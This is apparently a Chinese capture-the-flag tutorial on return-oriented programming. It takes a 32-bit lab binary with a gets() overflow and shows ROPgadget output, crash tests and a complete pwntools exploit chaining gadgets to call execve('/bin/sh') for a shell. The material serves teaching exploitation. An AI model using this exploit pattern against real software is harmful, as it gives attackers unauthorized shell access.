Binary star
一个系统调用:execve()
几个寄存器:eax,ebx,ecx,edx,esi,edi,ebp
int execve(const char *filename, char *const argv[], char *const envp[]);
也就是构造成execve("/bin/sh")
execve第一个参数为"/bin/sh",
第二个和第三个参数为NULL
#ifndef _ASM_X86_UNISTD_32_H
#define _ASM_X86_UNISTD_32_H 1
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
#define __NR_close 6
#define __NR_waitpid 7
#define __NR_creat 8
#define __NR_link 9
#define __NR_unlink 10
#define __NR_execve 11
题目分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
isidro@isidro:~/桌面$ ROPgadget --binary rop --only "pop|ret" | grep "eax"
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
isidro@isidro:~/桌面$ ROPgadget --binary rop --string "/bin/sh"
Strings information
============================================================
0x080be408 : /bin/sh
isidro@isidro:~/桌面$
isidro@isidro:~/桌面$ ROPgadget --binary rop --only "int"
Gadgets information
============================================================
0x0806bbfd : int 0x66
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x08089488 : int 0xca
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
0x080c1871 : int 6
Unique gadgets found: 7
; NASM
int execve(const char *filename, char *const argv[], char *const envp[]);
mov eax, 0xb ; execve系统调用号为11
mov ebx, filename
mov ecx, argv
mov edx, envp
int 0x80 ; 触发系统调用
isidro@isidro:~/桌面$ ./rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
isidro@isidro:~/桌面$ ./rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
^Z
[5]+ 已停止 ./rop
isidro@isidro:~/桌面$ ./rop
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
段错误 (核心已转储)
isidro@isidro:~/桌面$
EXP
from pwn import *
import pwnlib
context(os = 'linux',arch='amd64',log_level='debug')
io = process("./rop")
io.recvline()
io.recvline()
#payload = ("A" * 112)+ p32(0x080bb196)
payload = ("A" * 112).encode() + p32(0x080bb196) + p32(0xb) + p32(0x0806eb90) + p32(0x0) + p32(0x0) + p32(0x080be408) + p32(0x08049421)
pwnlib.gdb.attach(io)
io.sendline(payload)
io.interactive()
作者寄语
(联系管理员,申请入群)
在这里,您不仅能学习到前沿的技术知识,还能结识一群志同道合、热爱技术分享的学习伙伴。群管理员不定期举办各种形式的福利活动,邀请行业大咖和知识达人分享他们的宝贵经验,您还能获得丰富的人脉资源和学习资料。我们期待您的加入,一起成长、共同进步!
原文始发于微信公众号(i春秋):PWN入门之ROP构造
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论